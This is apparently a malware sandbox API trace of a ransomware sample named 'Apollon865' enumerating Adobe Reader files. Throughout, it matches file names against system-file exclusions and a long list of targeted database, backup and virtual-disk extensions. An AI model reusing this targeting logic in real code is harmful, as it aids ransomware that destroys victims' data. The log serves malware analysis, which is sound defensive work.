	[0060.545] lstrlenW (lpString="maq") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="maq") returned -1
	[0060.545] lstrlenW (lpString="mar") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="mar") returned -1
	[0060.545] lstrlenW (lpString="marshal") returned 7
	[0060.545] lstrcmpiW (lpString1="f32.CHS", lpString2="marshal") returned -1
	[0060.545] lstrlenW (lpString="mas") returned 3
	[0060.545] lstrcmpiW (lpString1="CHS", lpString2="mas") returned -1
	[0060.546] lstrlenW (lpString="mav") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="mav") returned -1
	[0060.546] lstrlenW (lpString="maw") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="maw") returned -1
	[0060.546] lstrlenW (lpString="mdbhtml") returned 7
	[0060.546] lstrcmpiW (lpString1="f32.CHS", lpString2="mdbhtml") returned -1
	[0060.546] lstrlenW (lpString="mdn") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="mdn") returned -1
	[0060.546] lstrlenW (lpString="mdt") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="mdt") returned -1
	[0060.546] lstrlenW (lpString="mfd") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="mfd") returned -1
	[0060.546] lstrlenW (lpString="mpd") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="mpd") returned -1
	[0060.546] lstrlenW (lpString="mrg") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="mrg") returned -1
	[0060.546] lstrlenW (lpString="mud") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="mud") returned -1
	[0060.546] lstrlenW (lpString="mwb") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="mwb") returned -1
	[0060.546] lstrlenW (lpString="myd") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="myd") returned -1
	[0060.546] lstrlenW (lpString="ndf") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="ndf") returned -1
	[0060.546] lstrlenW (lpString="nnt") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="nnt") returned -1
	[0060.546] lstrlenW (lpString="nrmlib") returned 6
	[0060.546] lstrcmpiW (lpString1="32.CHS", lpString2="nrmlib") returned -1
	[0060.546] lstrlenW (lpString="ns2") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="ns2") returned -1
	[0060.546] lstrlenW (lpString="ns3") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="ns3") returned -1
	[0060.546] lstrlenW (lpString="ns4") returned 3
	[0060.546] lstrcmpiW (lpString1="CHS", lpString2="ns4") returned -1
	[0060.547] lstrlenW (lpString="nsf") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="nsf") returned -1
	[0060.547] lstrlenW (lpString="nv") returned 2
	[0060.547] lstrcmpiW (lpString1="HS", lpString2="nv") returned -1
	[0060.547] lstrlenW (lpString="nv2") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="nv2") returned -1
	[0060.547] lstrlenW (lpString="nwdb") returned 4
	[0060.547] lstrcmpiW (lpString1=".CHS", lpString2="nwdb") returned -1
	[0060.547] lstrlenW (lpString="nyf") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="nyf") returned -1
	[0060.547] lstrlenW (lpString="odb") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="odb") returned -1
	[0060.547] lstrlenW (lpString="odb") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="odb") returned -1
	[0060.547] lstrlenW (lpString="oqy") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="oqy") returned -1
	[0060.547] lstrlenW (lpString="ora") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="ora") returned -1
	[0060.547] lstrlenW (lpString="orx") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="orx") returned -1
	[0060.547] lstrlenW (lpString="owc") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="owc") returned -1
	[0060.547] lstrlenW (lpString="p96") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="p96") returned -1
	[0060.547] lstrlenW (lpString="p97") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="p97") returned -1
	[0060.547] lstrlenW (lpString="pan") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="pan") returned -1
	[0060.547] lstrlenW (lpString="pdb") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="pdb") returned -1
	[0060.547] lstrlenW (lpString="pdm") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="pdm") returned -1
	[0060.547] lstrlenW (lpString="pnz") returned 3
	[0060.547] lstrcmpiW (lpString1="CHS", lpString2="pnz") returned -1
	[0060.547] lstrlenW (lpString="qry") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="qry") returned -1
	[0060.548] lstrlenW (lpString="qvd") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="qvd") returned -1
	[0060.548] lstrlenW (lpString="rbf") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="rbf") returned -1
	[0060.548] lstrlenW (lpString="rctd") returned 4
	[0060.548] lstrcmpiW (lpString1=".CHS", lpString2="rctd") returned -1
	[0060.548] lstrlenW (lpString="rod") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="rod") returned -1
	[0060.548] lstrlenW (lpString="rodx") returned 4
	[0060.548] lstrcmpiW (lpString1=".CHS", lpString2="rodx") returned -1
	[0060.548] lstrlenW (lpString="rpd") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="rpd") returned -1
	[0060.548] lstrlenW (lpString="rsd") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="rsd") returned -1
	[0060.548] lstrlenW (lpString="sas7bdat") returned 8
	[0060.548] lstrcmpiW (lpString1="df32.CHS", lpString2="sas7bdat") returned -1
	[0060.548] lstrlenW (lpString="sbf") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="sbf") returned -1
	[0060.548] lstrlenW (lpString="scx") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="scx") returned -1
	[0060.548] lstrlenW (lpString="sdb") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="sdb") returned -1
	[0060.548] lstrlenW (lpString="sdc") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="sdc") returned -1
	[0060.548] lstrlenW (lpString="sdf") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="sdf") returned -1
	[0060.548] lstrlenW (lpString="sis") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="sis") returned -1
	[0060.548] lstrlenW (lpString="spq") returned 3
	[0060.548] lstrcmpiW (lpString1="CHS", lpString2="spq") returned -1
	[0060.548] lstrlenW (lpString="te") returned 2
	[0060.548] lstrcmpiW (lpString1="HS", lpString2="te") returned -1
	[0060.548] lstrlenW (lpString="teacher") returned 7
	[0060.549] lstrcmpiW (lpString1="f32.CHS", lpString2="teacher") returned -1
	[0060.549] lstrlenW (lpString="tmd") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="tmd") returned -1
	[0060.549] lstrlenW (lpString="tps") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="tps") returned -1
	[0060.549] lstrlenW (lpString="trc") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="trc") returned -1
	[0060.549] lstrlenW (lpString="trc") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="trc") returned -1
	[0060.549] lstrlenW (lpString="trm") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="trm") returned -1
	[0060.549] lstrlenW (lpString="udb") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="udb") returned -1
	[0060.549] lstrlenW (lpString="udl") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="udl") returned -1
	[0060.549] lstrlenW (lpString="usr") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="usr") returned -1
	[0060.549] lstrlenW (lpString="v12") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="v12") returned -1
	[0060.549] lstrlenW (lpString="vis") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="vis") returned -1
	[0060.549] lstrlenW (lpString="vpd") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="vpd") returned -1
	[0060.549] lstrlenW (lpString="vvv") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="vvv") returned -1
	[0060.549] lstrlenW (lpString="wdb") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="wdb") returned -1
	[0060.549] lstrlenW (lpString="wmdb") returned 4
	[0060.549] lstrcmpiW (lpString1=".CHS", lpString2="wmdb") returned -1
	[0060.549] lstrlenW (lpString="wrk") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="wrk") returned -1
	[0060.549] lstrlenW (lpString="xdb") returned 3
	[0060.549] lstrcmpiW (lpString1="CHS", lpString2="xdb") returned -1
	[0060.549] lstrlenW (lpString="xld") returned 3
	[0060.550] lstrcmpiW (lpString1="CHS", lpString2="xld") returned -1
	[0060.550] lstrlenW (lpString="xmlff") returned 5
	[0060.550] lstrcmpiW (lpString1="2.CHS", lpString2="xmlff") returned -1
	[0060.550] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nppdf32.CHT", cAlternateFileName="")) returned 1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="Apollon865.txt.exe") returned 1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".") returned 1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="..") returned 1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="windows") returned -1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="bootmgr") returned 1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="temp") returned -1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="pagefile.sys") returned -1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="boot") returned 1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="ids.txt") returned 1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="ntuser.dat") returned -1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="perflogs") returned -1
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="MSBuild") returned 1
	[0060.550] lstrlenW (lpString="nppdf32.CHT") returned 11
	[0060.550] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS") returned 67
	[0060.550] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.CHT" | out: lpString1="nppdf32.CHT") returned="nppdf32.CHT"
	[0060.550] lstrlenW (lpString="nppdf32.CHT") returned 11
	[0060.550] lstrlenW (lpString="Apollon865") returned 10
	[0060.550] lstrcmpiW (lpString1="ppdf32.CHT", lpString2="Apollon865") returned 1
	[0060.550] lstrlenW (lpString=".dll") returned 4
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".dll") returned 1
	[0060.550] lstrlenW (lpString=".lnk") returned 4
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".lnk") returned 1
	[0060.550] lstrlenW (lpString=".ini") returned 4
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".ini") returned 1
	[0060.550] lstrlenW (lpString=".sys") returned 4
	[0060.550] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".sys") returned 1
	[0060.550] lstrlenW (lpString="nppdf32.CHT") returned 11
	[0060.550] lstrlenW (lpString="bak") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="bak") returned 1
	[0060.551] lstrlenW (lpString="ba_") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="ba_") returned 1
	[0060.551] lstrlenW (lpString="dbb") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="dbb") returned -1
	[0060.551] lstrlenW (lpString="vmdk") returned 4
	[0060.551] lstrcmpiW (lpString1=".CHT", lpString2="vmdk") returned -1
	[0060.551] lstrlenW (lpString="rar") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="rar") returned -1
	[0060.551] lstrlenW (lpString="zip") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="zip") returned -1
	[0060.551] lstrlenW (lpString="tgz") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="tgz") returned -1
	[0060.551] lstrlenW (lpString="vbox") returned 4
	[0060.551] lstrcmpiW (lpString1=".CHT", lpString2="vbox") returned -1
	[0060.551] lstrlenW (lpString="vdi") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="vdi") returned -1
	[0060.551] lstrlenW (lpString="vhd") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="vhd") returned -1
	[0060.551] lstrlenW (lpString="vhdx") returned 4
	[0060.551] lstrcmpiW (lpString1=".CHT", lpString2="vhdx") returned -1
	[0060.551] lstrlenW (lpString="avhd") returned 4
	[0060.551] lstrcmpiW (lpString1=".CHT", lpString2="avhd") returned -1
	[0060.551] lstrlenW (lpString="db") returned 2
	[0060.551] lstrcmpiW (lpString1="HT", lpString2="db") returned 1
	[0060.551] lstrlenW (lpString="db2") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="db2") returned -1
	[0060.551] lstrlenW (lpString="db3") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="db3") returned -1
	[0060.551] lstrlenW (lpString="dbf") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="dbf") returned -1
	[0060.551] lstrlenW (lpString="mdf") returned 3
	[0060.551] lstrcmpiW (lpString1="CHT", lpString2="mdf") returned -1
	[0060.551] lstrlenW (lpString="mdb") returned 3
	[0060.552] lstrcmpiW (lpString1="CHT", lpString2="mdb") returned -1
	[0060.552] lstrlenW (lpString="sql") returned 3
	[0060.552] lstrcmpiW (lpString1="CHT", lpString2="sql") returned -1
	[0060.552] lstrlenW (lpString="sqlite") returned 6
	[0060.552] lstrcmpiW (lpString1="32.CHT", lpString2="sqlite") returned -1
	[0060.552] lstrlenW (lpString="sqlite3") returned 7
	[0060.552] lstrcmpiW (lpString1="f32.CHT", lpString2="sqlite3") returned -1
	[0060.552] lstrlenW (lpString="sqlitedb") returned 8
	[0060.552] lstrcmpiW (lpString1="df32.CHT", lpString2="sqlitedb") returned -1
	[0060.552] lstrlenW (lpString="xml") returned 3
	[0060.552] lstrcmpiW (lpString1="CHT", lpString2="xml") returned -1
	[0060.552] lstrlenW (lpString="$er") returned 3
	[0060.552] lstrcmpiW (lpString1="CHT", lpString2="$er") returned 1
	[0060.552] lstrlenW (lpString="4dd") returned 3
	[0060.552] lstrcmpiW (lpString1="CHT", lpString2="4dd") returned 1
	[0060.552] lstrlenW (lpString="4dl") returned 3
	[0060.552] lstrcmpiW (lpString1="CHT", lpString2="4dl") returned 1
	[0060.552] lstrlenW (lpString="^^^") returned 3
	[0060.552] lstrcmpiW (lpString1="CHT", lpString2="^^^") returned 1
	[0060.552] lstrlenW (lpString="abs") returned 3
	[0060.552] lstrcmpiW (lpString1="CHT", lpString2="abs") returned 1
	[0060.552] lstrlenW (lpString="abx") returned 3
	[0060.552] lstrcmpiW (lpString1="CHT", lpString2="abx") returned 1
	[0060.552] lstrlenW (lpString="accdb") returned 5
	[0060.552] lstrcmpiW (lpString1="2.CHT", lpString2="accdb") returned -1
	[0060.552] lstrlenW (lpString="accdc") returned 5
	[0060.552] lstrcmpiW (lpString1="2.CHT", lpString2="accdc") returned -1
	[0060.552] lstrlenW (lpString="accde") returned 5
	[0060.552] lstrcmpiW (lpString1="2.CHT", lpString2="accde") returned -1
	[0060.552] lstrlenW (lpString="accdr") returned 5
	[0060.552] lstrcmpiW (lpString1="2.CHT", lpString2="accdr") returned -1
	[0060.552] lstrlenW (lpString="accdt") returned 5
	[0060.552] lstrcmpiW (lpString1="2.CHT", lpString2="accdt") returned -1
	[0060.552] lstrlenW (lpString="accdw") returned 5
	[0060.552] lstrcmpiW (lpString1="2.CHT", lpString2="accdw") returned -1
	[0060.553] lstrlenW (lpString="accft") returned 5
	[0060.553] lstrcmpiW (lpString1="2.CHT", lpString2="accft") returned -1
	[0060.553] lstrlenW (lpString="adb") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="adb") returned 1
	[0060.553] lstrlenW (lpString="adb") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="adb") returned 1
	[0060.553] lstrlenW (lpString="ade") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="ade") returned 1
	[0060.553] lstrlenW (lpString="adf") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="adf") returned 1
	[0060.553] lstrlenW (lpString="adn") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="adn") returned 1
	[0060.553] lstrlenW (lpString="adp") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="adp") returned 1
	[0060.553] lstrlenW (lpString="alf") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="alf") returned 1
	[0060.553] lstrlenW (lpString="ask") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="ask") returned 1
	[0060.553] lstrlenW (lpString="btr") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="btr") returned 1
	[0060.553] lstrlenW (lpString="cat") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="cat") returned 1
	[0060.553] lstrlenW (lpString="cdb") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="cdb") returned 1
	[0060.553] lstrlenW (lpString="ckp") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="ckp") returned -1
	[0060.553] lstrlenW (lpString="cma") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="cma") returned -1
	[0060.553] lstrlenW (lpString="cpd") returned 3
	[0060.553] lstrcmpiW (lpString1="CHT", lpString2="cpd") returned -1
	[0060.553] lstrlenW (lpString="dacpac") returned 6
	[0060.553] lstrcmpiW (lpString1="32.CHT", lpString2="dacpac") returned -1
	[0060.553] lstrlenW (lpString="dad") returned 3
	[0060.554] lstrcmpiW (lpString1="CHT", lpString2="dad") returned -1
	[0060.554] lstrlenW (lpString="dadiagrams") returned 10
	[0060.554] lstrcmpiW (lpString1="ppdf32.CHT", lpString2="dadiagrams") returned 1
	[0060.554] lstrlenW (lpString="daschema") returned 8
	[0060.554] lstrcmpiW (lpString1="df32.CHT", lpString2="daschema") returned 1
	[0060.554] lstrlenW (lpString="db-journal") returned 10
	[0060.554] lstrcmpiW (lpString1="ppdf32.CHT", lpString2="db-journal") returned 1
	[0060.554] lstrlenW (lpString="db-shm") returned 6
	[0060.554] lstrcmpiW (lpString1="32.CHT", lpString2="db-shm") returned -1
	[0060.554] lstrlenW (lpString="db-wal") returned 6
	[0060.554] lstrcmpiW (lpString1="32.CHT", lpString2="db-wal") returned -1
	[0060.554] lstrlenW (lpString="dbc") returned 3
	[0060.554] lstrcmpiW (lpString1="CHT", lpString2="dbc") returned -1
	[0060.554] lstrlenW (lpString="dbs") returned 3
	[0060.554] lstrcmpiW (lpString1="CHT", lpString2="dbs") returned -1
	[0060.554] lstrlenW (lpString="dbt") returned 3
	[0060.554] lstrcmpiW (lpString1="CHT", lpString2="dbt") returned -1
	[0060.554] lstrlenW (lpString="dbv") returned 3
	[0060.554] lstrcmpiW (lpString1="CHT", lpString2="dbv") returned -1
	[0060.554] lstrlenW (lpString="dbx") returned 3
	[0060.554] lstrcmpiW (lpString1="CHT", lpString2="dbx") returned -1
	[0060.554] lstrlenW (lpString="dcb") returned 3
	[0060.554] lstrcmpiW (lpString1="CHT", lpString2="dcb") returned -1
	[0060.554] lstrcmpiW (lpString1="CHT", lpString2="dct") returned -1
	[0060.554] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.CZE" | out: lpString1="nppdf32.CZE") returned="nppdf32.CZE"
	[0060.555] lstrlenW (lpString="nppdf32.CZE") returned 11
	[0060.555] lstrlenW (lpString="Apollon865") returned 10
	[0060.555] lstrcmpiW (lpString1="ppdf32.CZE", lpString2="Apollon865") returned 1
	[0060.555] lstrlenW (lpString=".dll") returned 4
	[0060.555] lstrcmpiW (lpString1="nppdf32.CZE", lpString2=".dll") returned 1
	[0060.555] lstrlenW (lpString=".lnk") returned 4
	[0060.555] lstrcmpiW (lpString1="nppdf32.CZE", lpString2=".lnk") returned 1
	[0060.555] lstrlenW (lpString=".ini") returned 4
	[0060.555] lstrcmpiW (lpString1="nppdf32.CZE", lpString2=".ini") returned 1
	[0060.555] lstrlenW (lpString=".sys") returned 4
	[0060.555] lstrcmpiW (lpString1="nppdf32.CZE", lpString2=".sys") returned 1
	[0060.555] lstrlenW (lpString="nppdf32.CZE") returned 11
	[0060.555] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.DAN" | out: lpString1="nppdf32.DAN") returned="nppdf32.DAN"
	[0060.555] lstrlenW (lpString="nppdf32.DAN") returned 11
	[0060.555] lstrlenW (lpString="Apollon865") returned 10
	[0060.555] lstrcmpiW (lpString1="ppdf32.DAN", lpString2="Apollon865") returned 1
	[0060.555] lstrlenW (lpString=".dll") returned 4
	[0060.555] lstrcmpiW (lpString1="nppdf32.DAN", lpString2=".dll") returned 1
	[0060.555] lstrlenW (lpString=".lnk") returned 4
	[0060.555] lstrcmpiW (lpString1="nppdf32.DAN", lpString2=".lnk") returned 1
	[0060.555] lstrlenW (lpString=".ini") returned 4
	[0060.555] lstrcmpiW (lpString1="nppdf32.DAN", lpString2=".ini") returned 1
	[0060.555] lstrlenW (lpString=".sys") returned 4
	[0060.555] lstrcmpiW (lpString1="nppdf32.DAN", lpString2=".sys") returned 1
	[0060.555] lstrlenW (lpString="nppdf32.DAN") returned 11
	[0060.555] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.DEU" | out: lpString1="nppdf32.DEU") returned="nppdf32.DEU"
	[0060.555] lstrlenW (lpString="nppdf32.DEU") returned 11
	[0060.555] lstrlenW (lpString="Apollon865") returned 10
	[0060.555] lstrcmpiW (lpString1="ppdf32.DEU", lpString2="Apollon865") returned 1
	[0060.555] lstrlenW (lpString=".dll") returned 4
	[0060.556] lstrcmpiW (lpString1="nppdf32.DEU", lpString2=".dll") returned 1
	[0060.556] lstrlenW (lpString=".lnk") returned 4
	[0060.556] lstrcmpiW (lpString1="nppdf32.DEU", lpString2=".lnk") returned 1
	[0060.556] lstrlenW (lpString=".ini") returned 4
	[0060.556] lstrcmpiW (lpString1="nppdf32.DEU", lpString2=".ini") returned 1
	[0060.556] lstrlenW (lpString=".sys") returned 4
	[0060.556] lstrcmpiW (lpString1="nppdf32.DEU", lpString2=".sys") returned 1
	[0060.556] lstrlenW (lpString="nppdf32.DEU") returned 11
	[0060.556] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.dll" | out: lpString1="nppdf32.dll") returned="nppdf32.dll"
	[0060.556] lstrlenW (lpString="nppdf32.dll") returned 11
	[0060.556] lstrlenW (lpString="Apollon865") returned 10
	[0060.556] lstrcmpiW (lpString1="ppdf32.dll", lpString2="Apollon865") returned 1
	[0060.556] lstrlenW (lpString=".dll") returned 4
	[0060.556] lstrcmpiW (lpString1="nppdf32.dll", lpString2=".dll") returned 1
	[0060.556] lstrlenW (lpString=".lnk") returned 4
	[0060.556] lstrcmpiW (lpString1="nppdf32.dll", lpString2=".lnk") returned 1
	[0060.556] lstrlenW (lpString=".ini") returned 4
	[0060.556] lstrcmpiW (lpString1="nppdf32.dll", lpString2=".ini") returned 1
	[0060.556] lstrlenW (lpString=".sys") returned 4
	[0060.556] lstrcmpiW (lpString1="nppdf32.dll", lpString2=".sys") returned 1
	[0060.556] lstrlenW (lpString="nppdf32.dll") returned 11
	[0060.556] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.ESP" | out: lpString1="nppdf32.ESP") returned="nppdf32.ESP"
	[0060.556] lstrlenW (lpString="nppdf32.ESP") returned 11
	[0060.556] lstrlenW (lpString="Apollon865") returned 10
	[0060.556] lstrcmpiW (lpString1="ppdf32.ESP", lpString2="Apollon865") returned 1
	[0060.556] lstrlenW (lpString=".dll") returned 4
	[0060.556] lstrcmpiW (lpString1="nppdf32.ESP", lpString2=".dll") returned 1
	[0060.556] lstrlenW (lpString=".lnk") returned 4
	[0060.556] lstrcmpiW (lpString1="nppdf32.ESP", lpString2=".lnk") returned 1
	[0060.556] lstrlenW (lpString=".ini") returned 4
	[0060.556] lstrcmpiW (lpString1="nppdf32.ESP", lpString2=".ini") returned 1
	[0060.557] lstrlenW (lpString=".sys") returned 4
	[0060.557] lstrcmpiW (lpString1="nppdf32.ESP", lpString2=".sys") returned 1
	[0060.557] lstrlenW (lpString="nppdf32.ESP") returned 11
	[0060.557] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.EUQ" | out: lpString1="nppdf32.EUQ") returned="nppdf32.EUQ"
	[0060.557] lstrlenW (lpString="nppdf32.EUQ") returned 11
	[0060.557] lstrlenW (lpString="Apollon865") returned 10
	[0060.557] lstrcmpiW (lpString1="ppdf32.EUQ", lpString2="Apollon865") returned 1
	[0060.557] lstrlenW (lpString=".dll") returned 4
	[0060.557] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2=".dll") returned 1
	[0060.557] lstrlenW (lpString=".lnk") returned 4
	[0060.557] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2=".lnk") returned 1
	[0060.557] lstrlenW (lpString=".ini") returned 4
	[0060.557] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2=".ini") returned 1
	[0060.557] lstrlenW (lpString=".sys") returned 4
	[0060.557] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2=".sys") returned 1
	[0060.557] lstrlenW (lpString="nppdf32.EUQ") returned 11
	[0060.557] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.FRA" | out: lpString1="nppdf32.FRA") returned="nppdf32.FRA"
	[0060.557] lstrlenW (lpString="nppdf32.FRA") returned 11
	[0060.557] lstrlenW (lpString="Apollon865") returned 10
	[0060.557] lstrcmpiW (lpString1="ppdf32.FRA", lpString2="Apollon865") returned 1
	[0060.557] lstrlenW (lpString=".dll") returned 4
	[0060.557] lstrcmpiW (lpString1="nppdf32.FRA", lpString2=".dll") returned 1
	[0060.557] lstrlenW (lpString=".lnk") returned 4
	[0060.557] lstrcmpiW (lpString1="nppdf32.FRA", lpString2=".lnk") returned 1
	[0060.557] lstrlenW (lpString=".ini") returned 4
	[0060.557] lstrcmpiW (lpString1="nppdf32.FRA", lpString2=".ini") returned 1
	[0060.557] lstrlenW (lpString=".sys") returned 4
	[0060.557] lstrcmpiW (lpString1="nppdf32.FRA", lpString2=".sys") returned 1
	[0060.557] lstrlenW (lpString="nppdf32.FRA") returned 11
	[0060.558] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.HRV" | out: lpString1="nppdf32.HRV") returned="nppdf32.HRV"
	[0060.558] lstrlenW (lpString="nppdf32.HRV") returned 11
	[0060.558] lstrlenW (lpString="Apollon865") returned 10
	[0060.558] lstrcmpiW (lpString1="ppdf32.HRV", lpString2="Apollon865") returned 1
	[0060.558] lstrlenW (lpString=".dll") returned 4
	[0060.558] lstrcmpiW (lpString1="nppdf32.HRV", lpString2=".dll") returned 1
	[0060.558] lstrlenW (lpString=".lnk") returned 4
	[0060.558] lstrcmpiW (lpString1="nppdf32.HRV", lpString2=".lnk") returned 1
	[0060.558] lstrlenW (lpString=".ini") returned 4
	[0060.558] lstrcmpiW (lpString1="nppdf32.HRV", lpString2=".ini") returned 1
	[0060.558] lstrlenW (lpString=".sys") returned 4
	[0060.558] lstrcmpiW (lpString1="nppdf32.HRV", lpString2=".sys") returned 1
	[0060.558] lstrlenW (lpString="nppdf32.HRV") returned 11
	[0060.558] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.HUN" | out: lpString1="nppdf32.HUN") returned="nppdf32.HUN"
	[0060.558] lstrlenW (lpString="nppdf32.HUN") returned 11
	[0060.558] lstrlenW (lpString="Apollon865") returned 10
	[0060.558] lstrcmpiW (lpString1="ppdf32.HUN", lpString2="Apollon865") returned 1
	[0060.558] lstrlenW (lpString=".dll") returned 4
	[0060.558] lstrcmpiW (lpString1="nppdf32.HUN", lpString2=".dll") returned 1
